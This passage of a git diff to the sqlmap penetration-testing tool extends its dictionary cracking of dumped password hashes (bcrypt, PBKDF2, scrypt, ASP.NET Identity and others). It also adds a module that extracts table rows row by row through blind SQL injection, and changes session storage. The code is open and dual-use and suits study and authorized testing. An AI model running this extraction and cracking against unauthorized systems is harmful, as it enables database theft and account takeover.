mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, HASH.ORACLE: oracle_passwd, + HASH.ORACLE_12C: oracle_12c_passwd, HASH.ORACLE_OLD: oracle_old_passwd, HASH.MD5_GENERIC: md5_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd, @@ -561,15 +778,23 @@ def _encode64(input_, count): HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd, + HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd, + HASH.BCRYPT: bcrypt_passwd, + HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd, + HASH.ASPNET_IDENTITY: aspnet_identity_passwd, + HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd, HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, HASH.APACHE_SHA1: apache_sha1_passwd, HASH.VBULLETIN: vbulletin_passwd, HASH.VBULLETIN_OLD: vbulletin_passwd, + HASH.OSCOMMERCE_OLD: oscommerce_old_passwd, HASH.SSHA: ssha_passwd, HASH.SSHA256: ssha256_passwd, HASH.SSHA512: ssha512_passwd, @@ -579,6 +804,14 @@ def _encode64(input_, count): HASH.SHA512_BASE64: sha512_generic_passwd, } +if _scrypt is not None: + __functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd + +# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools +HASH_TOOL_HINTS = { + HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')", +} + def _finalize(retVal, results, processes, attack_info=None): if _multiprocessing: gc.enable() @@ -604,7 +837,7 @@ def _finalize(retVal, results, processes, attack_info=None): removals.add((user, hash_)) hashDBWrite(hash_, word) - for item in attack_info or []: + for item in list(attack_info or []): if (item[0][0], item[0][1]) in removals: attack_info.remove(item) @@ -773,6 +1006,7 @@ def attackDumpedTable(): table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) +@cachedmethod def hashRecognition(value): """ >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC @@ -885,6 +1119,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 @@ -964,6 +1199,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 @@ -1010,9 +1246,14 @@ def dictionaryAttack(attack_dict): regex = hashRecognition(hash_) if regex and regex not in hash_regexes: - hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].__name__ - logger.info(infoMsg) + if regex in __functions__: + hash_regexes.append(regex) + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ + logger.info(infoMsg) + else: + warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash") + warnMsg += "built-in dictionary attack" + singleTimeWarnMessage(warnMsg) for hash_regex in hash_regexes: keys = set() @@ -1030,11 +1271,11 @@ def dictionaryAttack(attack_dict): try: item = None - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): - item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] + item = [(user, encodeHex(decodeBase64(hash_, binary=True), binary=False)), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 hash_ = hash_[2:] @@ -1049,16 +1290,40 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {"salt": hash_[-20:]}] + elif hash_regex in (HASH.ORACLE_12C,): + item = [(user, hash_), {"salt": hash_[-32:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] - elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): + elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT): + item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.BCRYPT,): + item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}] + elif hash_regex in (HASH.WORDPRESS_BCRYPT,): + item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}] + elif hash_regex in (HASH.ASPNET_IDENTITY,): + _ = decodeBase64(hash_, binary=True) + prf, iterations, saltlen = struct.unpack(">III", _[1:13]) + item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}] + elif hash_regex in (HASH.MYSQL_SHA2,): + _ = hash_.split('*') + item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}] + elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,): + item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}] + elif hash_regex in (HASH.POSTGRES_SCRAM,): + item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}] + elif hash_regex in (HASH.WERKZEUG_PBKDF2,): + item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}] + elif hash_regex in (HASH.WERKZEUG_SCRYPT,): + _ = hash_.split('$')[0].split(':') + item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}] elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] @@ -1068,7 +1333,7 @@ def dictionaryAttack(attack_dict): if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) - if not resumed: + if resumed is None: attack_info.append(item) user_hash.append(item[0]) else: @@ -1089,7 +1354,7 @@ def dictionaryAttack(attack_dict): while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): + if hash_regex in (HASH.ORACLE_OLD, HASH.ORACLE_12C, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -1302,8 +1567,12 @@ def crackHashFile(hashFile): i = 0 attack_dict = {} + check = None for line in getFileItems(conf.hashFile): - if ':' in line: + if check is None and not attack_dict and ':' in line: + check = any(re.search(_, line) for _ in getPublicTypeMembers(HASH, True)) + + if ':' in line and check is False: user, hash_ = line.split(':', 1) attack_dict[user] = [hash_] else: diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 10cf2dcc99d..c15389519a3 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import hashlib import os import sqlite3 +import struct import threading import time @@ -15,32 +16,41 @@ from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject +from lib.core.compat import RecursionError from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import logger +from lib.core.datatype import LRUDict from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES -from lib.core.settings import HASHDB_FLUSH_THRESHOLD +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_ITEMS +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME from lib.core.settings import HASHDB_RETRIEVE_RETRIES +from lib.core.settings import IS_PYPY from lib.core.threads import getCurrentThreadData -from lib.core.threads import getCurrentThreadName from thirdparty import six class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} + self._read_cache = LRUDict(capacity=100) self._cache_lock = threading.Lock() self._connections = [] + self._last_flush_time = time.time() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: - connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) + connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) + if not IS_PYPY: + connection.execute("PRAGMA journal_mode=WAL") + connection.execute("PRAGMA synchronous=NORMAL") + connection.execute("PRAGMA busy_timeout=10000") self._connections.append(connection) threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") @@ -62,7 +72,9 @@ def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: - threadData.hashDBCursor.connection.commit() + if self._write_cache: + self.flush() + threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None @@ -70,9 +82,11 @@ def close(self): pass def closeAll(self): + if self._write_cache: + self.flush() + for connection in self._connections: try: - connection.commit() connection.close() except: pass @@ -80,16 +94,20 @@ def closeAll(self): @staticmethod def hashKey(key): key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") - retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400 + retVal = struct.unpack("= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: + self.flush() - if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: - return + def flush(self): + with self._cache_lock: + if not self._write_cache: + return - self._cache_lock.acquire() - _ = self._write_cache - self._write_cache = {} - self._cache_lock.release() + flush_cache = self._write_cache + self._write_cache = {} + self._last_flush_time = time.time() + began = False try: - self.beginTransaction() - for hash_, value in _.items(): + began = self.beginTransaction() + for hash_, value in flush_cache.items(): retries = 0 while True: try: @@ -160,7 +184,8 @@ def flush(self, forced=False): logger.debug(debugMsg) break - if retries == 0: + # NOTE: skipping the retries == 0 for graceful resolution of multi-threaded runs + if retries == 1: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) logger.warning(warnMsg) @@ -173,20 +198,30 @@ def flush(self, forced=False): else: break finally: - self.endTransaction() + # Only close a transaction we actually opened; when flush() runs nested inside an + # outer batch (e.g. lib/utils/hash.py wrapping cracked-password writes) beginTransaction() + # returns False and the outer owner keeps ownership - ending it here would commit it early + if began: + self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() - if not threadData.inTransaction: + if threadData.inTransaction: + return False # already inside an (outer) transaction; do not nest + + try: + self.cursor.execute("BEGIN TRANSACTION") + except Exception: # Note: deliberately not bare - a KeyboardInterrupt here must propagate try: - self.cursor.execute("BEGIN TRANSACTION") - except: # Reference: http://stackoverflow.com/a/25245731 self.cursor.close() - threadData.hashDBCursor = None - self.cursor.execute("BEGIN TRANSACTION") - finally: - threadData.inTransaction = True + except sqlite3.ProgrammingError: + pass + threadData.hashDBCursor = None + self.cursor.execute("BEGIN TRANSACTION") + + threadData.inTransaction = True # set only on a genuine BEGIN (not if the retry above raised) + return True def endTransaction(self): threadData = getCurrentThreadData() diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py deleted file mode 100644 index f5820a600cf..00000000000 --- a/lib/utils/httpd.py +++ /dev/null @@ -1,141 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from __future__ import print_function - -import mimetypes -import gzip -import os -import re -import sys -import threading -import time -import traceback - -sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))) - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import VERSION_STRING -from thirdparty import six -from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer -from thirdparty.six.moves import http_client as _http_client -from thirdparty.six.moves import socketserver as _socketserver -from thirdparty.six.moves import urllib as _urllib - -HTTP_ADDRESS = "0.0.0.0" -HTTP_PORT = 8951 -DEBUG = True -HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) -DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") - -class ThreadingServer(_socketserver.ThreadingMixIn, _BaseHTTPServer.HTTPServer): - def finish_request(self, *args, **kwargs): - try: - _BaseHTTPServer.HTTPServer.finish_request(self, *args, **kwargs) - except Exception: - if DEBUG: - traceback.print_exc() - -class ReqHandler(_BaseHTTPServer.BaseHTTPRequestHandler): - def do_GET(self): - path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") - params = {} - content = None - - if query: - params.update(_urllib.parse.parse_qs(query)) - - for key in params: - if params[key]: - params[key] = params[key][-1] - - self.url, self.params = path, params - - if path == '/': - path = "index.html" - - path = path.strip('/') - - path = path.replace('/', os.path.sep) - path = os.path.abspath(os.path.join(HTML_DIR, path)).strip() - - if not os.path.isfile(path) and os.path.isfile("%s.html" % path): - path = "%s.html" % path - - if ".." not in os.path.relpath(path, HTML_DIR) and os.path.isfile(path) and not path.endswith(DISABLED_CONTENT_EXTENSIONS): - content = open(path, "rb").read() - self.send_response(_http_client.OK) - self.send_header(HTTP_HEADER.CONNECTION, "close") - self.send_header(HTTP_HEADER.CONTENT_TYPE, mimetypes.guess_type(path)[0] or "application/octet-stream") - else: - content = ("404 Not Found

    Not Found

    The requested URL %s was not found on this server.

    " % self.path.split('?')[0]).encode(UNICODE_ENCODING) - self.send_response(_http_client.NOT_FOUND) - self.send_header(HTTP_HEADER.CONNECTION, "close") - - if content is not None: - for match in re.finditer(b"", content): - name = match.group(1) - _ = getattr(self, "_%s" % name.lower(), None) - if _: - content = self._format(content, **{name: _()}) - - if "gzip" in self.headers.get(HTTP_HEADER.ACCEPT_ENCODING): - self.send_header(HTTP_HEADER.CONTENT_ENCODING, "gzip") - _ = six.BytesIO() - compress = gzip.GzipFile("", "w+b", 9, _) - compress._stream = _ - compress.write(content) - compress.flush() - compress.close() - content = compress._stream.getvalue() - - self.send_header(HTTP_HEADER.CONTENT_LENGTH, str(len(content))) - - self.end_headers() - - if content: - self.wfile.write(content) - - self.wfile.flush() - - def _format(self, content, **params): - if content: - for key, value in params.items(): - content = content.replace("" % key, value) - - return content - - def version_string(self): - return VERSION_STRING - - def log_message(self, format, *args): - return - - def finish(self): - try: - _BaseHTTPServer.BaseHTTPRequestHandler.finish(self) - except Exception: - if DEBUG: - traceback.print_exc() - -def start_httpd(): - server = ThreadingServer((HTTP_ADDRESS, HTTP_PORT), ReqHandler) - thread = threading.Thread(target=server.serve_forever) - thread.daemon = True - thread.start() - - print("[i] running HTTP server at '%s:%d'" % (HTTP_ADDRESS, HTTP_PORT)) - -if __name__ == "__main__": - try: - start_httpd() - - while True: - time.sleep(1) - except KeyboardInterrupt: - pass diff --git a/lib/utils/keysetdump.py b/lib/utils/keysetdump.py new file mode 100644 index 00000000000..eaed7b2f9b0 --- /dev/null +++ b/lib/utils/keysetdump.py @@ -0,0 +1,312 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.bigarray import BigArray +from lib.core.common import Backend +from lib.core.common import isNoneValue +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.settings import NULL +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.utils.safe2bin import safechardecode + +# back-end DBMSes whose dump table reference is schema/database-qualified (db.table). +# Note: for MSSQL the table identifier already carries its schema (e.g. dbo.users), so the +# plain db.table form yields the correct db.schema.table (e.g. [master].dbo.users). +KEYSET_SCHEMA_QUALIFIED = (DBMS.MYSQL, DBMS.PGSQL, DBMS.CRATEDB, DBMS.MSSQL, DBMS.H2, DBMS.HSQLDB) + +def _tableRef(tbl): + dbms = Backend.getIdentifiedDbms() + if dbms in (DBMS.ORACLE,) and conf.db: + return "%s.%s" % (conf.db.upper(), tbl.upper()) + if dbms in KEYSET_SCHEMA_QUALIFIED and conf.db: + return "%s.%s" % (conf.db, tbl) + return tbl + +def keysetSupported(): + """ + Whether the back-end DBMS declares the keyset (seek) pagination queries and a + cursor source (a physical row-id pseudo-column or a primary-key catalog lookup) + """ + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + return "keyset_next" in dumpNode.blind and ("rowid" in dumpNode.blind or "primary_key" in dumpNode) + +def _integerCursor(tbl, cursor): + """ + Whether every cursor column holds integer values, probed via MIN(col). + + Only integer keys are accepted: _embed() emits them as bare numeric literals, giving a + numeric comparison that matches MIN/ORDER BY. String (and even decimal) keys would be + escaped to a binary/hex literal whose order can differ from MIN's collation and silently + skip rows, so they are rejected here and fall back to the OFFSET dump. + """ + + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + ref = _tableRef(tbl) + + for column in cursor: + query = agent.whereQuery(blind.keyset_first % (agent.preprocessField(tbl, column), ref)) + value = unArrayizeValue(inject.getValue(query)) + + # empty/NULL MIN (e.g. empty table) is not disqualifying; the walk just yields no rows + if not isNoneValue(value) and re.match(r"\A-?[0-9]+\Z", getUnicode(value).strip()) is None: + return False + + return True + +def resolveKeysetCursor(tbl, colList): + """ + Returns the list of column(s) forming a stable, indexed cursor for keyset (seek) + pagination of the table: a declared physical row-id pseudo-column when available, + otherwise the indexed primary key (single or composite) resolved from the catalog. + Returns None when neither applies or a key column is not part of the dumped columns. + """ + + if not keysetSupported(): + return None + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + + # 1) a declared physical row-id pseudo-column (always unique + indexed where supported) + if "rowid" in dumpNode.blind: + return [dumpNode.blind.rowid] + + # 2) the indexed primary key (single-column, or composite when keyset_ordered is declared) + pkNode = dumpNode.primary_key + + # Note: schema/table are string literals in the catalog lookups, so the unquoted + # (identifier-unescaped) names are used (the dump queries keep the quoted form) + unsafeDb = unsafeSQLIdentificatorNaming(conf.db) + unsafeTbl = unsafeSQLIdentificatorNaming(tbl) + + # Note: no whereQuery() here - these are catalog (schema) lookups, so the data-row + # filter from --where must not be appended to them + query = pkNode.count % (unsafeDb, unsafeTbl) + count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + try: + count = int(count) + except (ValueError, TypeError): + return None + + if count < 1: + return None + + # composite keys require the row-value/ordered keyset form + if count > 1 and "keyset_ordered" not in dumpNode.blind: + return None + + cursor = [] + for index in xrange(count): + query = pkNode.query % (unsafeDb, unsafeTbl, index) + column = unArrayizeValue(inject.getValue(query)) + + if not column: + return None + + match = None + for _ in colList: + if _ and _.lower() == column.lower(): + match = _ + break + + if match is None: + return None + + cursor.append(match) + + # restrict to integer cursors: a string key's escaped-literal comparison may order + # differently than MIN/ORDER BY and silently skip rows (such keys fall back to OFFSET) + if not _integerCursor(tbl, cursor): + return None + + return cursor + +def _lit(value): + """ + Type-correct SQL literal for a cursor value: a bare numeric literal for numeric keys + (so the index is still used and the comparison is numeric), otherwise the DBMS-escaped + (e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes). + """ + + if value is not None and re.match(r"\A-?[0-9]+\Z", value): + return value + return unescaper.escape(value, False) + +def _embed(template, value, *fixed): + """ + Fills a single-column keyset template whose trailing placeholder is the cursor value. + """ + + template = template.replace("'%s'", "%s") + return template % (fixed + (_lit(value),)) + +def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + field = agent.preprocessField(tbl, cursor) + + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + pivotValue = None + + # hybrid: a single OFFSET jump to seed the cursor just before --start, then pure keyset + if conf.limitStart and conf.limitStart > 1 and "keyset_seed" in blind: + query = agent.whereQuery(blind.keyset_seed % (field, tableRef, field, conf.limitStart - 2)) + seed = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(seed) or seed == NULL: + return + + pivotValue = safechardecode(seed) + + produced = 0 + + while produced < target: + # Advance with ORDER BY ... LIMIT 1 (like the composite path), NOT MIN(): the value-extraction + # casts the aggregated column to VARCHAR *inside* MIN(), yielding a LEXICAL minimum ('10' after + # '1') that disagrees with the numeric '>' comparison and silently skips rows (2..9, 11..). The + # ORDER BY is on the raw (numeric) column, so the next cursor value is the true successor. + condition = "1=1" if pivotValue is None else "%s>%s" % (field, _lit(pivotValue)) + query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, field)) + value = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(value) or value == NULL: + break + + value = safechardecode(value) + + # safety latch against a non-advancing cursor (e.g. encoding edge cases) + if value == pivotValue: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + pivotValue = value + + for column in colList: + if column == cursor: + colValue = pivotValue + else: + query = _embed(blind.keyset_by, pivotValue, agent.preprocessField(tbl, column), tableRef, field) + query = agent.whereQuery(query) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + fields = [agent.preprocessField(tbl, _) for _ in cursorCols] + orderExpr = ','.join(fields) + + startSkip = (conf.limitStart - 1) if conf.limitStart else 0 + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + prev = None + produced = 0 + seen = 0 + + while produced < target and seen < count: + if prev is None: + condition = "1=1" + else: + # ANSI row-value (tuple) comparison advances the composite cursor lexicographically + condition = "(%s)>(%s)" % (orderExpr, ','.join(_lit(_) for _ in prev)) + + tup = [] + for field in fields: + query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, orderExpr)) + value = unArrayizeValue(inject.getValue(query)) + tup.append(None if isNoneValue(value) else safechardecode(value)) + + if all(isNoneValue(_) for _ in tup): + break + + if prev is not None and tup == prev: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + prev = tup + seen += 1 + + if seen <= startSkip: + continue + + equals = " AND ".join("%s=%s" % (field, _lit(value)) for field, value in zip(fields, tup)) + + for column in colList: + if column in cursorCols: + colValue = tup[cursorCols.index(column)] + else: + query = agent.whereQuery(blind.keyset_where % (agent.preprocessField(tbl, column), tableRef, equals)) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def keysetDumpTable(tbl, colList, count, cursor): + """ + Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of + one or more indexed key columns): the next row is reached with a >/row-value comparison + against the previous cursor (index range scan) and every other column is fetched with an + exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no + per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump + (single-column cursors), after which the walk is pure keyset. + """ + + tableRef = _tableRef(tbl) + lengths = {} + entries = {} + + for column in colList: + lengths[column] = 0 + entries[column] = BigArray() + + if len(cursor) == 1: + _dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths) + else: + _dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths) + + debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl)) + logger.debug(debugMsg) + + return entries, lengths diff --git a/lib/utils/library.py b/lib/utils/library.py new file mode 100644 index 00000000000..c30cdeff322 --- /dev/null +++ b/lib/utils/library.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'. +# +# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an +# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so +# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'. + +import json +import os +import sys +import tempfile + +__all__ = ["scan", "scanFromRequest", "SqlmapError"] + +# Absolute path of the engine entry point (this module lives at /lib/utils/library.py) +SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py") + +class SqlmapError(Exception): + """ + Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report + """ + + pass + +def _terminateProcess(process): + """ + Best-effort hard teardown of a scan subprocess together with its whole process group, so a + timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall + back to killing the process itself) + """ + + import signal + + try: + if os.name != "nt" and hasattr(os, "killpg"): + os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM)) + else: + process.kill() + except (OSError, AttributeError): + try: + process.kill() + except (OSError, AttributeError): + pass + +def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options): + """ + Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage). + + Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration + file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So + scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", 